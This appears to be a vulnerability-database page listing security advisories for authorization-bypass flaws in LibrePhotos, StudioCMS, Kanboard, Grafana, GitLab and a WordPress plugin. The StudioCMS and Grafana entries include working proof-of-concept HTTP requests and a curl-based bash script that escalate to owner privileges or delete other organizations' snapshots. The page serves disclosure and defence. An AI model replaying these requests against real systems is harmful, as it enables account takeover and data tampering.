Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3227 vulnerabilities reference this CWE, most recent first.

GHSA-6649-8H33-MV2C

Vulnerability from github – Published: 2026-06-29 18:31 – Updated: 2026-06-29 18:31
VLAI
Details

LibrePhotos before 1.0.0 contains a broken object level authorization vulnerability in the SetPhotosShared endpoint that allows authenticated users to grant themselves access to other users' private photos by bypassing ownership validation. Attackers can manipulate shared_to relations without proper owner checks to read arbitrary private photos belonging to other users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T18:16:39Z",
    "severity": "MODERATE"
  },
  "details": "LibrePhotos before 1.0.0 contains a broken object level authorization vulnerability in the SetPhotosShared endpoint that allows authenticated users to grant themselves access to other users\u0027 private photos by bypassing ownership validation. Attackers can manipulate shared_to relations without proper owner checks to read arbitrary private photos belonging to other users.",
  "id": "GHSA-6649-8h33-mv2c",
  "modified": "2026-06-29T18:31:55Z",
  "published": "2026-06-29T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LibrePhotos/librephotos/issues/1860"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LibrePhotos/librephotos/pull/1866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LibrePhotos/librephotos/commit/325bd1f5fda71c6d56737aa09cfce0cb8106675a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LibrePhotos/librephotos/releases/tag/1.0.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/librephotos-insecure-direct-object-reference-in-setphotosshared-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-667W-MMH7-MRR4

Vulnerability from github – Published: 2026-03-10 18:16 – Updated: 2026-03-10 18:45
VLAI
Summary
StudioCMS has Privilege Escalation via Insecure API Token Generation
Details

Summary

The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.

Details

The API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user. This is a classic BOLA vulnerability: the authorization check is limited to "is the user logged in?" instead of "is this user authorized to perform this action on this specific resource?"

Vulnerable Code

The following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint: File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16–57) Version: studiocms@0.3.0

POST: (ctx) =>
    genLogger('studiocms/routes/api/dashboard/api-tokens.POST')(function* () {
        const sdk = yield* SDKCore;

        // Check if demo mode is enabled
        if (developerConfig.demoMode !== false) {
            return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
        }

        // Get user data
        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]

        // Check if user is logged in
        if (!userData?.isLoggedIn) {                                            // [2]
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Check if user has permission
        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]
        if (!isAuthorized) {
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Get Json Data
        const jsonData = yield* readAPIContextJson<{
            description: string;
            user: string;                                                       // [4]
        }>(ctx);

        // Validate form data
        if (!jsonData.description) {
            return apiResponseLogger(400, 'Invalid form data, description is required');
        }

        if (!jsonData.user) {
            return apiResponseLogger(400, 'Invalid form data, user is required');
        }

        // [5] jsonData.user passed directly — no check against userData
        const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

        return createJsonResponse({ token: newToken.key });                     // [6]
    }),

Analysis The authorization logic has three distinct flaws: 1. Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only verifies that isEditor is true. This means any user with editor privileges or above passes the gate. 2. Missing object-level authorization [4][5]: The user field from the JSON payload (line 54) is passed directly to sdk.REST_API.tokens.new() without any comparison against userData (the authenticated caller's identity from the session at [1]). There is no check such as jsonData.user === userData.id. This allows any authenticated user to specify an arbitrary target UUID and generate a token for that account. 3. No target role validation [5]: Even if cross-user token generation were an intended feature, there is no check to prevent a lower-privileged user from generating tokens for higher-privileged accounts (admin, owner).

PoC

Environment The following user roles were identified in the application: User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin 2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor a1585423-9ade-426e-a713-9c81ed035463 | visitor

Step 1 — Generate an API Token for the Owner (as Editor) An authenticated Editor sends the following request, specifying the owner user ID in the body:

POST /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: <target>
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Content-Length: 74

{
  "user": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "description": "pwn"
}

Result: The server returns a valid JWT token bound to the owner account.

Step 2 — Use the Token to Access the API as Owner

curl -H "Authorization: Bearer <owner_jwt_token>" http://<target>/studiocms_api/rest/v1/users

Result: The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.

Impact

  • Privilege Escalation: Any authenticated user (above visitor) can escalate to owner level access.
  • Full API Access: The generated token grants unrestricted access to all REST API endpoints with the impersonated user's permissions.
  • Account Takeover: An attacker can impersonate any user in the system by specifying their UUID.
  • Data Breach: Access to user listings, content management, and potentially sensitive configuration data.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:16:41Z",
    "nvd_published_at": "2026-03-10T18:18:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.\n\n## Details\nThe API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user.\nThis is a classic BOLA vulnerability: the authorization check is limited to \"is the user logged in?\" instead of \"is this user authorized to perform this action on this specific resource?\"\n\n#### Vulnerable Code\nThe following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint:\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16\u201357)\n**Version:** studiocms@0.3.0\n```\nPOST: (ctx) =\u003e\n    genLogger(\u0027studiocms/routes/api/dashboard/api-tokens.POST\u0027)(function* () {\n        const sdk = yield* SDKCore;\n\n        // Check if demo mode is enabled\n        if (developerConfig.demoMode !== false) {\n            return apiResponseLogger(403, \u0027Demo mode is enabled, this action is not allowed.\u0027);\n        }\n\n        // Get user data\n        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]\n\n        // Check if user is logged in\n        if (!userData?.isLoggedIn) {                                            // [2]\n            return apiResponseLogger(403, \u0027Unauthorized\u0027);\n        }\n\n        // Check if user has permission\n        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]\n        if (!isAuthorized) {\n            return apiResponseLogger(403, \u0027Unauthorized\u0027);\n        }\n\n        // Get Json Data\n        const jsonData = yield* readAPIContextJson\u003c{\n            description: string;\n            user: string;                                                       // [4]\n        }\u003e(ctx);\n\n        // Validate form data\n        if (!jsonData.description) {\n            return apiResponseLogger(400, \u0027Invalid form data, description is required\u0027);\n        }\n\n        if (!jsonData.user) {\n            return apiResponseLogger(400, \u0027Invalid form data, user is required\u0027);\n        }\n\n        // [5] jsonData.user passed directly \u2014 no check against userData\n        const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);\n\n        return createJsonResponse({ token: newToken.key });                     // [6]\n    }),\n```\n**Analysis**\nThe authorization logic has three distinct flaws:\n1. **Insufficient permission gate [1][2][3]:** The handler retrieves the session from ctx.locals.StudioCMS.security and only verifies that isEditor is true. This means any user with editor privileges or above passes the gate. \n2. **Missing object-level authorization [4][5]:** The user field from the JSON payload (line 54) is passed directly to sdk.REST_API.tokens.new() without any comparison against userData (the authenticated caller\u0027s identity from the session at [1]). There is no check such as jsonData.user === userData.id. This allows any authenticated user to specify an arbitrary target UUID and generate a token for that account.\n3. **No target role validation [5]:** Even if cross-user token generation were an intended feature, there is no check to prevent a lower-privileged user from generating tokens for higher-privileged accounts (admin, owner).\n\n## PoC\n**Environment**\nThe following user roles were identified in the application:\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin\n39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor\na1585423-9ade-426e-a713-9c81ed035463 | visitor\n\n**Step 1 \u2014 Generate an API Token for the Owner (as Editor)**\nAn authenticated Editor sends the following request, specifying the owner user ID in the body:\n```\nPOST /studiocms_api/dashboard/api-tokens HTTP/1.1\nHost: \u003ctarget\u003e\nCookie: auth_session=\u003ceditor_session_cookie\u003e\nContent-Type: application/json\nContent-Length: 74\n\n{\n  \"user\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"description\": \"pwn\"\n}\n```\n**Result:** The server returns a valid JWT token bound to the owner account.\n\n**Step 2 \u2014 Use the Token to Access the API as Owner**\n```\ncurl -H \"Authorization: Bearer \u003cowner_jwt_token\u003e\" http://\u003ctarget\u003e/studiocms_api/rest/v1/users\n```\n**Result:** The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.\n\n## Impact\n- **Privilege Escalation:** Any authenticated user (above visitor) can escalate to owner level access.\n- **Full API Access:** The generated token grants unrestricted access to all REST API endpoints with the impersonated user\u0027s permissions.\n- **Account Takeover:** An attacker can impersonate any user in the system by specifying their UUID.\n- **Data Breach:** Access to user listings, content management, and potentially sensitive configuration data.",
  "id": "GHSA-667w-mmh7-mrr4",
  "modified": "2026-03-10T18:45:47Z",
  "published": "2026-03-10T18:16:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/commit/9eec9c3b45523b635cfe16d55aa55afabacbebe3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/commit/f4a209fc090c90195e2419fff47b48a46eab7441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms%400.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS has Privilege Escalation via Insecure API Token Generation"
}

GHSA-669V-GGV7-VGWW

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

In Kanboard before 1.0.47, by altering form data, an authenticated user can edit tags of a private project of another user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-15201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-11T01:32:00Z",
    "severity": "MODERATE"
  },
  "details": "In Kanboard before 1.0.47, by altering form data, an authenticated user can edit tags of a private project of another user.",
  "id": "GHSA-669v-ggv7-vgww",
  "modified": "2022-05-13T01:43:39Z",
  "published": "2022-05-13T01:43:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/commit/074f6c104f3e49401ef0065540338fc2d4be79f0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanboard/kanboard/commit/3e0f14ae2b0b5a44bd038a472f17eac75f538524"
    },
    {
      "type": "WEB",
      "url": "https://kanboard.net/news/version-1.0.47"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2017/10/04/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-66C4-2G2V-54QW

Vulnerability from github – Published: 2024-10-29 18:30 – Updated: 2024-11-04 21:25
VLAI
Summary
Grafana org admin can delete pending invites in different org
Details

Organization admins can delete pending invites created in an organization they are not part of.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-10452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-29T20:29:13Z",
    "nvd_published_at": "2024-10-29T16:15:04Z",
    "severity": "LOW"
  },
  "details": "Organization admins can delete pending invites created in an organization they are not part of.",
  "id": "GHSA-66c4-2g2v-54qw",
  "modified": "2024-11-04T21:25:35Z",
  "published": "2024-10-29T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10452"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-66c4-2g2v-54qw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2024-10452"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10452"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grafana org admin can delete pending invites in different org"
}

GHSA-66CV-679X-3FFV

Vulnerability from github – Published: 2023-04-16 00:30 – Updated: 2024-04-04 03:29
VLAI
Details

An issue was discovered in GitLab Community and Enterprise Edition before 11.1.7, 11.2.x before 11.2.4, and 11.3.x before 11.3.1. Remote attackers could obtain sensitive information about issues, comments, and project titles via events API insecure direct object reference.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-17449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-15T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab Community and Enterprise Edition before 11.1.7, 11.2.x before 11.2.4, and 11.3.x before 11.3.1. Remote attackers could obtain sensitive information about issues, comments, and project titles via events API insecure direct object reference.",
  "id": "GHSA-66cv-679x-3ffv",
  "modified": "2024-04-04T03:29:34Z",
  "published": "2023-04-16T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17449"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/blog/categories/releases"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2018/10/01/security-release-gitlab-11-dot-3-dot-1-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-679Q-MRGX-WPVR

Vulnerability from github – Published: 2026-04-22 21:31 – Updated: 2026-04-22 21:31
VLAI
Details

The Login as User plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.3. This is due to the handle_return_to_admin() function trusting a client-controlled cookie (oclaup_original_admin) to determine which user to authenticate as, without any server-side verification that the cookie value was legitimately set during an admin-initiated user switch. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to administrator by setting the oclaup_original_admin cookie to an administrator's user ID and triggering the "Return to Admin" functionality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-15T09:16:33Z",
    "severity": "HIGH"
  },
  "details": "The Login as User plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.3. This is due to the handle_return_to_admin() function trusting a client-controlled cookie (oclaup_original_admin) to determine which user to authenticate as, without any server-side verification that the cookie value was legitimately set during an admin-initiated user switch. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to administrator by setting the oclaup_original_admin cookie to an administrator\u0027s user ID and triggering the \"Return to Admin\" functionality.",
  "id": "GHSA-679q-mrgx-wpvr",
  "modified": "2026-04-22T21:31:44Z",
  "published": "2026-04-22T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5617"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/one-click-login-as-user/tags/1.0.3/includes/class-login-handler.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/one-click-login-as-user/tags/1.0.3/includes/class-login-handler.php#L50"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/one-click-login-as-user/trunk/includes/class-login-handler.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/one-click-login-as-user"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c0c74d48-6cfc-4899-bd2c-4a80b1f6e05f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-67J5-PJ6C-M82P

Vulnerability from github – Published: 2026-07-06 12:31 – Updated: 2026-07-06 12:31
VLAI
Details

An authenticated user could manipulate a company ID parameter in a POST request to the backend to gain unauthorised access to other companies hosted within the same subdomain environment. The application does not adequately verify whether the requested company ID belongs to the authenticated user’s session, resulting in a cross-tenant authorisation bypass. If this vulnerability is successfully exploited, it allows unauthorised access to sensitive customer information, including billing data, and may enable the unauthorised modification of third-party data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-06T11:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "An authenticated user could manipulate a company ID parameter in a POST request to the backend to gain unauthorised access to other companies hosted within the same subdomain environment. The application does not adequately verify whether the requested company ID belongs to the authenticated user\u2019s session, resulting in a cross-tenant authorisation bypass. If this vulnerability is successfully exploited, it allows unauthorised access to sensitive customer information, including billing data, and may enable the unauthorised modification of third-party data.",
  "id": "GHSA-67j5-pj6c-m82p",
  "modified": "2026-07-06T12:31:30Z",
  "published": "2026-07-06T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12686"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/incorrect-authorisation-adisss-biloop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-67RV-QPW2-6QRR

Vulnerability from github – Published: 2024-04-05 19:29 – Updated: 2024-11-18 16:26
VLAI
Summary
Grafana: Users outside an organization can delete a snapshot with its key
Details

Summary

The DELETE /api/snapshots/{key} endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot

Details

An attacker (a user without organization affiliation or with a "no basic role" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability. If an attacker is in the same organization of the dashboard snapshot, he can’t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw.

Screenshot 2024-01-19 at 3 50 23 PM

Precondition

To exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways.

When creating a snapshot through the API, users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as "customer_key_123" or "admin_snap" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity.

In addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization's content management system, messaging platform, or shared documents.

PoC

#!/bin/bash -x

# /snapshots/{key}: {'delete': {'success_status_code': 200, 'exec_paths': ['post /snapshots']}}
# 2d92c726-bf3c-4f20-b979-37bdf81d68c7

# Authentication stage

# User A - Grafana Admin
user_a_token="YWRtaW46YWRtaW4xMjM="

# User B - User with no permissions , which is not part of any org
user_b_token="YmJiOmJiYmJiYmJiYg=="

# Create snapshot
current_date=$(date +%Y-%m-%d-%H-%M-%S)
random_string="random-${current_date}"
snapshot_data='{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","snapshotData":[],"type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"fiscalYearStartMonth":0,"graphTooltip":0,"id":1517,"links":[],"liveNow":false,"panels":[{"aliasColors":{},"bars":false,"dashLength":10,"dashes":false,"datasource":null,"fill":1,"fillGradient":0,"gridPos":{"h":7,"w":24,"x":0,"y":0},"hiddenSeries":false,"id":4,"legend":{"alignAsTable":true,"avg":false,"current":true,"max":false,"min":false,"rightSide":true,"show":true,"total":false,"values":true},"lines":true,"linewidth":1,"links":[],"nullPointMode":"null","options":{"alertThreshold":true},"percentage":false,"pluginVersion":"10.2.3","pointradius":2,"points":false,"renderer":"flot","seriesOverrides":[],"snapshotData":[{"fields":[{"config":{},"name":"time","type":"time","values":[1704380420234,1704380420334,1704380420434,1704380420534,1704380420634,1704380420734,1704380420834,1704380566535,1704380566635,1704380566735,1704380566835,1704380566935,1704380567035,1704380567135,1704380567235,1704380567335,1704380567435,1704380567535,1704380567635,1704380567735,1704380567835,1704380567935,1704380568035,1704380568135,1704380568235,1704380568335,1704380568435,1704380568535,1704380568635,1704380568735,1704380568835,1704380568935,1704380569035,1704380569135,1704380569235,1704380569335,1704380569435,1704380569535,1704380569635,1704380569735,1704380569835,1704380569935,1704380570035,1704380570135,1704380570235,1704380570335,1704380570435,1704380570535,1704380570635,1704380570735,1704380570835,1704380570935,1704380571035,1704380571135,1704380571235,1704380571335,1704380571435,1704380571535,1704380571635,1704380571735,1704380571835,1704380571935,1704380572035,1704380572135,1704380572235,1704380572335,1704380572435,1704380572535,1704380572635,1704380572735,1704380572835,1704380572935,1704380573035,1704380573135,1704380573235,1704380573335,1704380573435,1704380573535,1704380573635,1704380573735,1704380573835,1704380573935,1704380574035,1704380574135,1704380574235,1704380574335,1704380574435,1704380574535,1704380574635,1704380574735,1704380574835,1704380574935,1704380575035,1704380575135,1704380575235,1704380575335,1704380575435,1704380575535,1704380575635,1704380575735,1704380575835,1704380575935,1704380576035,1704380576135,1704380576235,1704380576335,1704380576435,1704380576535,1704380576635,1704380576735,1704380576835,1704380576935,1704380577035,1704380577135,1704380577235,1704380577335,1704380577435,1704380577535,1704380577635,1704380577735,1704380577835,1704380577935,1704380578035,1704380578135,1704380578235,1704380578335,1704380578435,1704380578535,98.36651881887735,90.90520552302428,100.73967111022498,109.89826524946163,102.00960918579666,106.33530882778683,106.52629457166695,109.56323497328492,116.87832749309237,115.14116509660076,115.70457190523986,118.1091621354617,113.9144753018141,117.58351263310455,117.38409043570634,126.94212224196508,134.50552909930198,127.97490160986311,123.5784401639683,125.31012734609902,118.56171579412602,122.71596068271737,116.11258334902308,118.07532920254557,113.5755959893507,117.02863610131872,122.42991477107806,124.68121765645371,121.45599945829102,120.93643213038477,118.75961398984585,118.70214867496358,116.1085878323934,109.08837112411643,111.90652582288098,109.69360084697551,113.57752983270163,121.0455900847171,116.98257636596624,118.33231004235124,128.19430473604484,119.7539320116394,120.39948913692677,117.05787774775756,109.29564979026497,119.08806090022262,111.20930907183256,104.99629052804383,96.05550719780628,87.99845374253385,83.19203585736912,83.13916797842998,-70.53615047052016,-73.3850420187272]}],"meta":{},"refId":"A"}],"spaceLength":10,"stack":false,"steppedLine":false,"targets":[],"thresholds":[],"timeRegions":[],"title":"Simple dummy streaming example","tooltip":{"shared":true,"sort":0,"value_type":"individual"},"type":"graph","xaxis":{"mode":"time","show":true,"values":[]},"yaxes":[{"format":"short","logBase":1,"show":true},{"format":"short","logBase":1,"show":true}],"yaxis":{"align":false}}],"refresh":"","schemaVersion":39,"snapshot":{"timestamp":"2024-01-04T15:03:04.128Z"},"tags":[],"templating":{"list":[]},"time":{"from":"2024-01-04T15:02:08.132Z","to":"2024-01-04T15:03:08.132Z","raw":{"from":"now-1m","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Simple Streaming Example Snapshot","uid":"TXSTREZ","version":1,"weekStart":""},"name":"Simple Streaming Example Snapshot", "expires":0, "key":"admin_key"}'

create_snapshot_response=$(curl -s -X POST "http://localhost:3000/api/snapshots" -H "Authorization: Basic ${user_a_token}" -H "Content-Type: application/json" -d "${snapshot_data}")

# Extract key from create snapshot response
key=$(echo "$create_snapshot_response" | jq -r '.key')

# Delete snapshot
delete_snapshot_response=$(curl -s -X DELETE "http://localhost:3000/api/snapshots/${key}" -H "Authorization: Basic ${user_b_token}" -o /dev/null -w "%{http_code}")

# Check if the test passed
if [ "$delete_snapshot_response" -eq 200 ]; then
  echo -e "\033[32mTest was passed, BOLA\033[0m"
fi

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.5.0"
            },
            {
              "fixed": "9.5.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.0"
            },
            {
              "fixed": "10.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.0"
            },
            {
              "fixed": "10.3.5"
            }
          ],
